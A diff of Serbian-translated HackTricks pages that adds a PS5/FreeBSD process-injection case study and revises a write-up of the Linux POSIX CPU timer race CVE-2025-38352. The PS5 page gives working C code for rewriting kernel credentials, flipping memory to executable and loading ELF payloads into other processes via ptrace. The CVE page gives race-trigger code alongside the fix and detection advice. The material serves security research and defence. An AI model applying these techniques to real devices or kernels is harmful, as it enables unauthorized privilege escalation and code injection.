- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||||
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
||||||
|
- [PS5 compromission](binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md)
|
||||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||||
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
||||||
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
|
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
|
||||||
|
@ -0,0 +1,182 @@
|
|||||||
|
# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study)
|
||||||
|
|
||||||
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## Pregled
|
||||||
|
|
||||||
|
Ova stranica dokumentuje praktičnu Unix/BSD usermode process/ELF injection tehniku na PlayStation 5 (PS5), koji je zasnovan na FreeBSD. Metoda se generalizuje na FreeBSD derivati kada već imate kernel read/write (R/W) primitives. Na visokom nivou:
|
||||||
|
|
||||||
|
- Izmenite trenutne akreditive procesa (ucred) da biste dodelili privilegije debagera, omogućavajući ptrace/mdbg na proizvoljnim korisničkim procesima.
|
||||||
|
- Pronađite ciljne procese pretraživanjem kernel allproc liste.
|
||||||
|
- Zaobiđite PROT_EXEC ograničenja menjajući vm_map_entry.protection |= PROT_EXEC u ciljanom vm_map-u putem data-only zapisa u kernel memoriju.
|
||||||
|
- Koristite ptrace za izvođenje Remote Function Invocation (RFI): suspendujte nit, postavite registre da pozovete proizvoljne funkcije unutar cilja, nastavite izvršavanje, prikupite povratne vrednosti i vratite stanje.
|
||||||
|
- Mapirajte i pokrenite proizvoljne ELF payload-e unutar cilja koristeći in-process ELF loader, zatim pokrenite posebnu nit koja izvršava vaš payload i pokreće breakpoint da biste se lepo odvojili.
|
||||||
|
|
||||||
|
PS5 hypervisor mitigacije koje vredi pomenuti (u kontekstu ove tehnike):
|
||||||
|
- XOM (execute-only .text) sprečava čitanje/pisanje kernel .text.
|
||||||
|
- Brisanje CR0.WP ili onemogućavanje CR4.SMEP izaziva hypervisor vmexit (crash). Samo data-only kernel zapisi su izvodljivi.
|
||||||
|
- Userland mmap je po defaultu ograničen na PROT_READ|PROT_WRITE. Dodeljivanje PROT_EXEC mora se obaviti uređivanjem vm_map unosa u kernel memoriji.
|
||||||
|
|
||||||
|
Ova tehnika je post-exploitation: pretpostavlja kernel R/W primitives iz exploit lanca. Javne payload-e demonstriraju ovo do firmware 10.01 u vreme pisanja.
|
||||||
|
|
||||||
|
## Kernel data-only primitives
|
||||||
|
|
||||||
|
### Process discovery via allproc
|
||||||
|
|
||||||
|
FreeBSD održava dvostruko povezanu listu procesa u kernel .data na allproc. Sa kernel read primitive, iterirajte je da biste locirali imena procesa i PID-ove:
|
||||||
|
```c
|
||||||
|
struct proc* find_proc_by_name(const char* proc_name){
|
||||||
|
uint64_t next = 0;
|
||||||
|
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
|
||||||
|
struct proc* proc = malloc(sizeof(struct proc));
|
||||||
|
do{
|
||||||
|
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
|
||||||
|
if (!strcmp(proc->p_comm, proc_name)) return proc;
|
||||||
|
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
|
||||||
|
} while (next);
|
||||||
|
free(proc);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
void list_all_proc_and_pid(){
|
||||||
|
uint64_t next = 0;
|
||||||
|
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
|
||||||
|
struct proc* proc = malloc(sizeof(struct proc));
|
||||||
|
do{
|
||||||
|
kernel_copyout(next, (void*)proc, sizeof(struct proc));
|
||||||
|
printf("%s - %d\n", proc->p_comm, proc->pid);
|
||||||
|
kernel_copyout(next, &next, sizeof(uint64_t));
|
||||||
|
} while (next);
|
||||||
|
free(proc);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
- KERNEL_ADDRESS_ALLPROC zavisi od firmvera.
|
||||||
|
- p_comm je ime fiksne veličine; razmotrite pid->proc pretrage ako je potrebno.
|
||||||
|
|
||||||
|
### Povećajte privilegije za debugovanje (ucred)
|
||||||
|
|
||||||
|
Na PS5, struct ucred sadrži polje Authority ID dostupno preko proc->p_ucred. Upisivanje debugger Authority ID-a omogućava ptrace/mdbg nad ostalim procesima:
|
||||||
|
```c
|
||||||
|
void set_ucred_to_debugger(){
|
||||||
|
struct proc* proc = get_proc_by_pid(getpid());
|
||||||
|
if (proc){
|
||||||
|
uintptr_t authid = 0; // read current (optional)
|
||||||
|
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
|
||||||
|
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
|
||||||
|
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
|
||||||
|
free(proc);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
- Offset 0x58 je specifičan za PS5 firmware family i mora se proveriti za svaku verziju.
|
||||||
|
- Nakon ovog write-a, injector može da se attach-uje i instrumentuje user processes putem ptrace/mdbg.
|
||||||
|
|
||||||
|
## Zaobilaženje RW-only user mappings: vm_map PROT_EXEC flip
|
||||||
|
|
||||||
|
Userland mmap može biti ograničen na PROT_READ|PROT_WRITE. FreeBSD prati address space procesa u vm_map od vm_map_entry čvorova (BST plus list). Svaki entry sadrži protection i max_protection polja:
|
||||||
|
```c
|
||||||
|
struct vm_map_entry {
|
||||||
|
struct vm_map_entry *prev,*next,*left,*right;
|
||||||
|
vm_offset_t start, end, avail_ssize;
|
||||||
|
vm_size_t adj_free, max_free;
|
||||||
|
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
|
||||||
|
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
|
||||||
|
int wired_count; vm_pindex_t lastr;
|
||||||
|
};
|
||||||
|
```
|
||||||
|
With kernel R/W možete locirati target-ov vm_map i postaviti entry->protection |= PROT_EXEC (i, po potrebi, entry->max_protection). Praktčne napomene za implementaciju:
|
||||||
|
- Prođite kroz entry-e ili linearno preko next ili koristeći balanced-tree (left/right) za O(log n) pretragu po opsegu adresa.
|
||||||
|
- Izaberite poznatu RW regiju koju kontrolišete (scratch buffer ili mapped file) i dodajte PROT_EXEC kako biste mogli postaviti kod ili loader thunks.
|
||||||
|
- PS5 SDK code pruža helper-e za brzu lookup map-entry i prebacivanje zaštita.
|
||||||
|
|
||||||
|
Ovo zaobilazi userland-ovu mmap politiku editovanjem kernel-owned metadata direktno.
|
||||||
|
|
||||||
|
## Remote Function Invocation (RFI) with ptrace
|
||||||
|
|
||||||
|
FreeBSD nema Windows-style VirtualAllocEx/CreateRemoteThread. Umesto toga, naterajte target da poziva funkcije na sebi pod ptrace kontrolom:
|
||||||
|
|
||||||
|
1. Attach-ujte se na target i izaberite thread; PTRACE_ATTACH ili PS5-specific mdbg flow-e mogu važiti.
|
||||||
|
2. Sačuvajte thread context: registers, PC, SP, flags.
|
||||||
|
3. Upisujte argument registers prema ABI (x86_64 SysV ili arm64 AAPCS64), postavite PC na target funkciju i po potrebi smestite dodatne args/stack.
|
||||||
|
4. Single-step-ujte ili continue dok se ne dogodi kontrolisano zaustavljanje (npr. software breakpoint ili signal), zatim pročitajte povratne vrednosti iz regs.
|
||||||
|
5. Restore-ujte originalni context i continue-ujte.
|
||||||
|
|
||||||
|
Upotrebe:
|
||||||
|
- Pozovite in-process ELF loader (npr. elfldr_load) sa pointer-om na vaš ELF image u memoriji targeta.
|
||||||
|
- Pozovite helper routine da dohvatite vraćene entrypoint-e i pointer-e na payload-args.
|
||||||
|
|
||||||
|
Example of driving the ELF loader:
|
||||||
|
```c
|
||||||
|
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
|
||||||
|
intptr_t args = elfldr_payload_args(target_pid);
|
||||||
|
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
|
||||||
|
```
|
||||||
|
Loader mapira segments, resolves imports, primenjuje relocations i vraća entry (često CRT bootstrap) plus opaque payload_args pointer koji vaš stager prosleđuje payload’s main().
|
||||||
|
|
||||||
|
## Threaded stager and clean detach
|
||||||
|
|
||||||
|
Minimalni stager unutar cilja kreira novi pthread koji pokreće ELF’s main i zatim okida int3 da signalizira injector da se detach-uje:
|
||||||
|
```c
|
||||||
|
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
|
||||||
|
pthread_t thread;
|
||||||
|
functions->pthread_create_ptr(&thread, 0,
|
||||||
|
(void*(*)(void*))functions->elf_main, functions->payload_args);
|
||||||
|
asm("int3");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
- Pokazivači SCEFunctions/payload_args obezbeđeni su od strane loader/SDK glue.
|
||||||
|
- Nakon breakpoint-a i detach-a, payload nastavlja u svojoj niti.
|
||||||
|
|
||||||
|
## Kraj-do-kraja tok (referentna implementacija za PS5)
|
||||||
|
|
||||||
|
Funkcionalna implementacija se isporučuje kao mali TCP injector server i klijentski skript:
|
||||||
|
|
||||||
|
- NineS server sluša na TCP 9033 i prima header koji sadrži ime ciljnog procesa, praćeno ELF image:
|
||||||
|
```c
|
||||||
|
typedef struct __injector_data_t{
|
||||||
|
char proc_name[MAX_PROC_NAME];
|
||||||
|
Elf64_Ehdr elf_header;
|
||||||
|
} injector_data_t;
|
||||||
|
```
|
||||||
|
- Korišćenje Python klijenta:
|
||||||
|
```bash
|
||||||
|
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
|
||||||
|
```
|
||||||
|
Primer Hello-world payload-a (loguje u klog):
|
||||||
|
```c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <ps5/klog.h>
|
||||||
|
int main(){
|
||||||
|
klog_printf("Hello from PID %d\n", getpid());
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
## Praktična razmatranja
|
||||||
|
|
||||||
|
- Offseti i konstante (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) su specifični za firmware i moraju se ažurirati za svako izdanje.
|
||||||
|
- Zaštite hypervisora primoravaju pisanja samo podataka u kernel; ne pokušavajte patchovati CR0.WP ili CR4.SMEP.
|
||||||
|
- JIT memorija je alternativa: neki procesi izlažu PS5 JIT API-je za alokaciju izvršnih stranica. Preokret zaštite u vm_map uklanja potrebu oslanjanja na JIT/mirroring trikove.
|
||||||
|
- Obezbedite robusno čuvanje/obnavljanje registara; u slučaju greške možete izazvati deadlock ili crash cilja.
|
||||||
|
|
||||||
|
## Javni alati
|
||||||
|
|
||||||
|
- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
|
||||||
|
- ELF loader: https://github.com/ps5-payload-dev/elfldr
|
||||||
|
- Injector server: https://github.com/buzzer-re/NineS/
|
||||||
|
- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
|
||||||
|
- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
|
||||||
|
- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
|
||||||
|
- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
|
||||||
|
- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
|
||||||
|
- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
|
||||||
|
- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
|
||||||
|
- [Mira](https://github.com/OpenOrbis/mira-project)
|
||||||
|
- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
|
||||||
|
- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
|
||||||
|
|
||||||
|
{{#include ../banners/hacktricks-training.md}}
|
@ -1,19 +1,19 @@
|
|||||||
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
|
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Ova stranica opisuje TOCTOU trku u Linux/Android POSIX CPU timers koja može korumpirati stanje timera i oboriti kernel, a u nekim slučajevima može dovesti do privilege escalation.
|
Ova stranica dokumentuje TOCTOU race condition u Linux/Android POSIX CPU timers koji može korumpirati stanje timera i srušiti kernel, a u nekim okolnostima se može iskoristiti za privilege escalation.
|
||||||
|
|
||||||
- Pogođena komponenta: kernel/time/posix-cpu-timers.c
|
- Affected component: kernel/time/posix-cpu-timers.c
|
||||||
- Primitiv: expiry vs deletion race pri izlasku taska
|
- Primitive: expiry vs deletion race under task exit
|
||||||
- Osetljivo na konfiguraciju: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
||||||
|
|
||||||
Kratak pregled internih mehanizama (relevantno za eksploataciju)
|
Quick internals recap (relevant for exploitation)
|
||||||
- Tri CPU clocks upravljaju obračunom timera putem cpu_clock_sample():
|
- Tri CPU clock-a pokreću obračun za timere preko cpu_clock_sample():
|
||||||
- CPUCLOCK_PROF: utime + stime
|
- CPUCLOCK_PROF: utime + stime
|
||||||
- CPUCLOCK_VIRT: samo utime
|
- CPUCLOCK_VIRT: samo utime
|
||||||
- CPUCLOCK_SCHED: task_sched_runtime()
|
- CPUCLOCK_SCHED: task_sched_runtime()
|
||||||
- Kreiranje timera povezuje timer sa task/pid i inicijalizuje timerqueue čvorove:
|
- Kreiranje timera povezuje timer sa task/pid i inicijalizuje timerqueue nodes:
|
||||||
```c
|
```c
|
||||||
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
|
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
|
||||||
struct pid *pid;
|
struct pid *pid;
|
||||||
@ -37,7 +37,7 @@ if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
|
|||||||
if (newexp < base->nextevt) base->nextevt = newexp;
|
if (newexp < base->nextevt) base->nextevt = newexp;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
- Brza putanja izbegava zahtevnu obradu osim ako keširani isteci ne ukazuju na moguće aktiviranje:
|
- Brza putanja izbegava skupu obradu osim ako keširani isteci ne ukazuju na moguće okidanje:
|
||||||
```c
|
```c
|
||||||
static inline bool fastpath_timer_check(struct task_struct *tsk) {
|
static inline bool fastpath_timer_check(struct task_struct *tsk) {
|
||||||
struct posix_cputimers *pct = &tsk->posix_cputimers;
|
struct posix_cputimers *pct = &tsk->posix_cputimers;
|
||||||
@ -50,7 +50,7 @@ return true;
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
- Isticanje prikuplja istekle tajmere, označava ih kao okinute, uklanja ih iz reda; stvarna isporuka se odlaže:
|
Expiration prikuplja istekle tajmere, označava ih kao aktivirane, uklanja ih iz reda; stvarna isporuka je odložena:
|
||||||
```c
|
```c
|
||||||
#define MAX_COLLECTED 20
|
#define MAX_COLLECTED 20
|
||||||
static u64 collect_timerqueue(struct timerqueue_head *head,
|
static u64 collect_timerqueue(struct timerqueue_head *head,
|
||||||
@ -69,7 +69,7 @@ return U64_MAX;
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
Dva režima obrade isteka
|
Dva režima obrade isteka
|
||||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: istek se odlaže putem task_work na ciljnom zadatku
|
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: istek se odlaže putem task_work na ciljnom tasku
|
||||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: istek se obrađuje direktno u IRQ kontekstu
|
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: istek se obrađuje direktno u IRQ kontekstu
|
||||||
```c
|
```c
|
||||||
void run_posix_cpu_timers(void) {
|
void run_posix_cpu_timers(void) {
|
||||||
@ -114,44 +114,45 @@ spin_unlock(&timer->it_lock);
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Root cause: TOCTOU između IRQ-time expiry i konkurentnog brisanja tokom izlaska task-a
|
Root cause: TOCTOU između IRQ-time expiry i concurrent deletion tokom task exit
|
||||||
|
|
||||||
Preconditions
|
Preconditions
|
||||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
|
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK је disabled (IRQ path in use)
|
||||||
- Ciljni task izlazi, ali proces izlaska još nije dovršen (nije u potpunosti reaped)
|
- Ciljni task izlazi али nije potpuno reaped
|
||||||
- Drugi thread istovremeno poziva posix_cpu_timer_del() za isti timer
|
- Druga nit istovremeno poziva posix_cpu_timer_del() za isti timer
|
||||||
|
|
||||||
Sequence
|
Sequence
|
||||||
1) update_process_times() pokreće run_posix_cpu_timers() u IRQ kontekstu za task koji izlazi.
|
1) update_process_times() pokreće run_posix_cpu_timers() u IRQ context za exiting task.
|
||||||
2) collect_timerqueue() postavlja ctmr->firing = 1 i premešta timer na privremenu firing listu.
|
2) collect_timerqueue() postavlja ctmr->firing = 1 i premešta timer na privremenu firing listu.
|
||||||
3) handle_posix_cpu_timers() otpusta sighand pomoću unlock_task_sighand() da bi isporučio timere van lock-a.
|
3) handle_posix_cpu_timers() otpusta sighand preko unlock_task_sighand() kako bi isporučio timere van lock-a.
|
||||||
4) Odmah nakon unlock-a, task koji izlazi može biti reaped; sibling thread izvršava posix_cpu_timer_del().
|
4) Odmah nakon unlock, exiting task može biti reaped; sibling thread izvršava posix_cpu_timer_del().
|
||||||
5) U ovom prozoru, posix_cpu_timer_del() može da ne uspe da stekne state preko cpu_timer_task_rcu()/lock_task_sighand() i tako preskoči normalnu in-flight zaštitu koja proverava timer->it.cpu.firing. Brisanje se nastavlja kao da nije firing, korumpirajući stanje dok se expiry obrađuje, što dovodi do crash-eva/UB.
|
5) U ovom prozoru, posix_cpu_timer_del() može propasti da akvizira state putem cpu_timer_task_rcu()/lock_task_sighand() i tako preskočiti normalnu in-flight zaštitu koja proverava timer->it.cpu.firing. Deletion se nastavlja kao da nije firing, korumpirajući stanje dok se expiry obrađuje, što dovodi do crashes/UB.
|
||||||
|
|
||||||
Zašto je TASK_WORK mode bezbedan po dizajnu
|
Zašto je TASK_WORK mode bezbedan po dizajnu
|
||||||
- Sa CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry je odložen na task_work; exit_task_work se izvršava pre exit_notify, tako da se IRQ-time preklapanje sa reaping-om ne dešava.
|
- Sa CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry se odlaže na task_work; exit_task_work se izvršava pre exit_notify, tako da se IRQ-time overlap sa reaping-om ne dešava.
|
||||||
- Čak i tada, ako task već izlazi, task_work_add() ne uspe; gating na exit_state čini oba moda konzistentnim.
|
- Čak i tada, ako task već izlazi, task_work_add() ne uspe; gating na exit_state čini oba moda konzistentnim.
|
||||||
|
|
||||||
Fix (Android common kernel) and rationale
|
Fix (Android common kernel) and rationale
|
||||||
- Dodati rani return ako current task izlazi, gatingujući svu obradu:
|
- Dodati rani return ako current task izlazi, gating svu obradu:
|
||||||
```c
|
```c
|
||||||
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
|
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
|
||||||
if (tsk->exit_state)
|
if (tsk->exit_state)
|
||||||
return;
|
return;
|
||||||
```
|
```
|
||||||
- Ovo sprečava ulazak u handle_posix_cpu_timers() za izlazeće zadatke, eliminišući prozor u kojem posix_cpu_timer_del() može da propusti it.cpu.firing i race sa obradom isteka.
|
- Ovo sprečava ulazak u handle_posix_cpu_timers() za zadatke koji izlaze, eliminišući prozor u kojem posix_cpu_timer_del() može propustiti cpu.firing i utrkivati se sa obradom isteka.
|
||||||
|
|
||||||
Impact
|
Impact
|
||||||
- Oštećenje kernel memorije struktura timer-a tokom istovremenog isteka/brisanja može dovesti do trenutnih padova (DoS) i predstavlja snažan primitiv za privilege escalation zbog mogućnosti proizvoljne manipulacije kernel-state.
|
- Oštećenje kernel memorije struktura timer-a tokom istovremenog isteka/brisanja može izazvati trenutne padove (DoS) i predstavlja snažan primitiv za eskalaciju privilegija zbog mogućnosti proizvoljne manipulacije stanjem kernela.
|
||||||
|
|
||||||
Triggering the bug (safe, reproducible conditions)
|
Triggering the bug (safe, reproducible conditions)
|
||||||
Build/config
|
Build/config
|
||||||
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
|
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
|
||||||
|
|
||||||
Runtime strategy
|
Runtime strategy
|
||||||
- Ciljajte nit koja je pred izlaskom i prikačite CPU timer na nju (per-thread or process-wide clock):
|
- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock):
|
||||||
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||||
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||||
- Postavite veoma kratak početni istekač i mali interval kako biste maksimizirali ulaske u IRQ-path:
|
- Arm with a very short initial expiration and small interval to maximize IRQ-path entries:
|
||||||
```c
|
```c
|
||||||
static timer_t t;
|
static timer_t t;
|
||||||
static void setup_cpu_timer(void) {
|
static void setup_cpu_timer(void) {
|
||||||
@ -165,31 +166,31 @@ its.it_interval.tv_nsec = 1; // re-fire
|
|||||||
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
|
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
- Iz srodne niti, istovremeno obrišite isti timer dok ciljana nit izlazi:
|
Iz sibling thread-a, istovremeno izbrišite isti timer dok target thread izlazi:
|
||||||
```c
|
```c
|
||||||
void *deleter(void *arg) {
|
void *deleter(void *arg) {
|
||||||
for (;;) (void)timer_delete(t); // hammer delete in a loop
|
for (;;) (void)timer_delete(t); // hammer delete in a loop
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
- Pojačivači race uslova: visok scheduler tick rate, CPU load, ponovljeni ciklusi izlaska i ponovnog kreiranja niti. Pad se obično manifestuje kada posix_cpu_timer_del() preskoči uočavanje firing zbog neuspešnog task lookup/locking odmah nakon unlock_task_sighand().
|
- Pojačavači trke: visoka stopa scheduler tick-ova, veliko CPU opterećenje, ponovljeni ciklusi izlaska/ponovnog kreiranja niti. Krah se obično manifestuje kada posix_cpu_timer_del() preskoči uočavanje firing-a zbog neuspeha u task lookup/locking odmah nakon unlock_task_sighand().
|
||||||
|
|
||||||
Detection and hardening
|
Detekcija i ojačavanje
|
||||||
- Mitigacija: primeniti exit_state guard; po mogućnosti omogućiti CONFIG_POSIX_CPU_TIMERS_TASK_WORK kada je izvodljivo.
|
- Mitigacija: primeniti exit_state guard; po mogućstvu omogućiti CONFIG_POSIX_CPU_TIMERS_TASK_WORK.
|
||||||
- Observability: dodati tracepoints/WARN_ONCE oko unlock_task_sighand()/posix_cpu_timer_del(); alarmirati kada se it.cpu.firing==1 uoči zajedno sa neuspehom cpu_timer_task_rcu()/lock_task_sighand(); pratiti inconsistency-je u timerqueue oko izlaza task-a.
|
- Opservabilnost: dodati tracepoints/WARN_ONCE oko unlock_task_sighand()/posix_cpu_timer_del(); generisati alarm kada se it.cpu.firing==1 uoči zajedno sa neuspelim cpu_timer_task_rcu()/lock_task_sighand(); pratiti inkonzistentnosti u timerqueue oko izlaska task-a.
|
||||||
|
|
||||||
Audit hotspots (for reviewers)
|
Audit kritične tačke (za recenzente)
|
||||||
- update_process_times() → run_posix_cpu_timers() (IRQ)
|
- update_process_times() → run_posix_cpu_timers() (IRQ)
|
||||||
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
|
- __run_posix_cpu_timers() izbor (TASK_WORK vs IRQ putanja)
|
||||||
- collect_timerqueue(): postavlja ctmr->firing i pomera čvorove
|
- collect_timerqueue(): postavlja ctmr->firing i pomera čvorove
|
||||||
- handle_posix_cpu_timers(): drops sighand pre firing petlje
|
- handle_posix_cpu_timers(): odbacuje sighand pre firing petlje
|
||||||
- posix_cpu_timer_del(): oslanja se na it.cpu.firing da detektuje in-flight expiry; ova provera se preskače kada task lookup/lock ne uspe tokom exit/reap
|
- posix_cpu_timer_del(): oslanja se na it.cpu.firing da detektuje isteka u letu; ova provera se preskače kada task lookup/lock ne uspe tokom exit/reap
|
||||||
|
|
||||||
Notes for exploitation research
|
Napomene za istraživanje eksploatacije
|
||||||
- Otkriveno ponašanje je pouzdan kernel crash primitive; pretvaranje toga u privilege escalation obično zahteva dodatni kontrolisani overlap (object lifetime ili write-what-where influence) izvan opsega ovog sažetka. Smatrajte svaki PoC potencijalno destabilizujućim i pokrećite ga samo u emulatorima/VMs.
|
- Otkiveno ponašanje predstavlja pouzdanu kernel crash primitive; pretvaranje toga u privilege escalation obično zahteva dodatno kontrolisano preklapanje (object lifetime ili write-what-where uticaj) što je izvan opsega ovog pregleda. Smatrajte bilo koji PoC potencijalno destabilizujućim i pokrećite ga samo u emulators/VMs.
|
||||||
|
|
||||||
## References
|
## Izvori
|
||||||
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
|
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
|
||||||
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
|
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
|
||||||
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
|
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -4,173 +4,181 @@
|
|||||||
|
|
||||||
## Osnovni pojmovi
|
## Osnovni pojmovi
|
||||||
|
|
||||||
- **Smart Contracts** su definisani kao programi koji se izvršavaju na blockchain-u kada su ispunjeni određeni uslovi, automatizujući izvršavanje sporazuma bez posrednika.
|
- **Smart Contracts** su definisani kao programi koji se izvršavaju na blockchainu kada su ispunjeni određeni uslovi, automatizujući sprovođenje ugovora bez posrednika.
|
||||||
- **Decentralizovane aplikacije (dApps)** nadograđuju se na smart contracts, imajući korisnički prihvatljiv front-end i transparentan, auditabilan back-end.
|
- **Decentralized Applications (dApps)** se oslanjaju na smart contracts, imajući korisnički pristupačan front-end i transparentan i podložan reviziji back-end.
|
||||||
- **Tokeni & Coinsi** razlikuju se tako što coinsi služe kao digitalni novac, dok tokeni predstavljaju vrednost ili vlasništvo u specifičnim kontekstima.
|
- **Tokens & Coins** razlikuju se tako što coini služe kao digitalni novac, dok tokeni predstavljaju vrednost ili vlasništvo u određenim kontekstima.
|
||||||
- **Utility Tokens** daju pristup uslugama, a **Security Tokens** označavaju vlasništvo nad imovinom.
|
- **Utility Tokens** omogućavaju pristup uslugama, a **Security Tokens** označavaju vlasništvo nad imovinom.
|
||||||
- **DeFi** označava Decentralizovane finansije, koje nude finansijske usluge bez centralnih autoriteta.
|
- **DeFi** označava Decentralized Finance, koji nudi finansijske usluge bez centralnih autoriteta.
|
||||||
- **DEX** i **DAOs** odnose se na Decentralizovane berze i Decentralizovane autonomne organizacije.
|
- **DEX** i **DAOs** se odnose na Decentralized Exchange Platforms i Decentralized Autonomous Organizations, redom.
|
||||||
|
|
||||||
## Mehanizmi konsenzusa
|
## Mehanizmi konsenzusa
|
||||||
|
|
||||||
Mehanizmi konsenzusa obezbeđuju sigurnu i dogovorenu validaciju transakcija na blockchain-u:
|
Mehanizmi konsenzusa obezbeđuju sigurnu i zajednički prihvaćenu validaciju transakcija na blockchainu:
|
||||||
|
|
||||||
- **Proof of Work (PoW)** oslanja se na računarsku snagu za verifikaciju transakcija.
|
- **Proof of Work (PoW)** se oslanja na računarsku snagu za verifikaciju transakcija.
|
||||||
- **Proof of Stake (PoS)** zahteva od validatora da drže određenu količinu tokena, smanjujući potrošnju energije u odnosu na PoW.
|
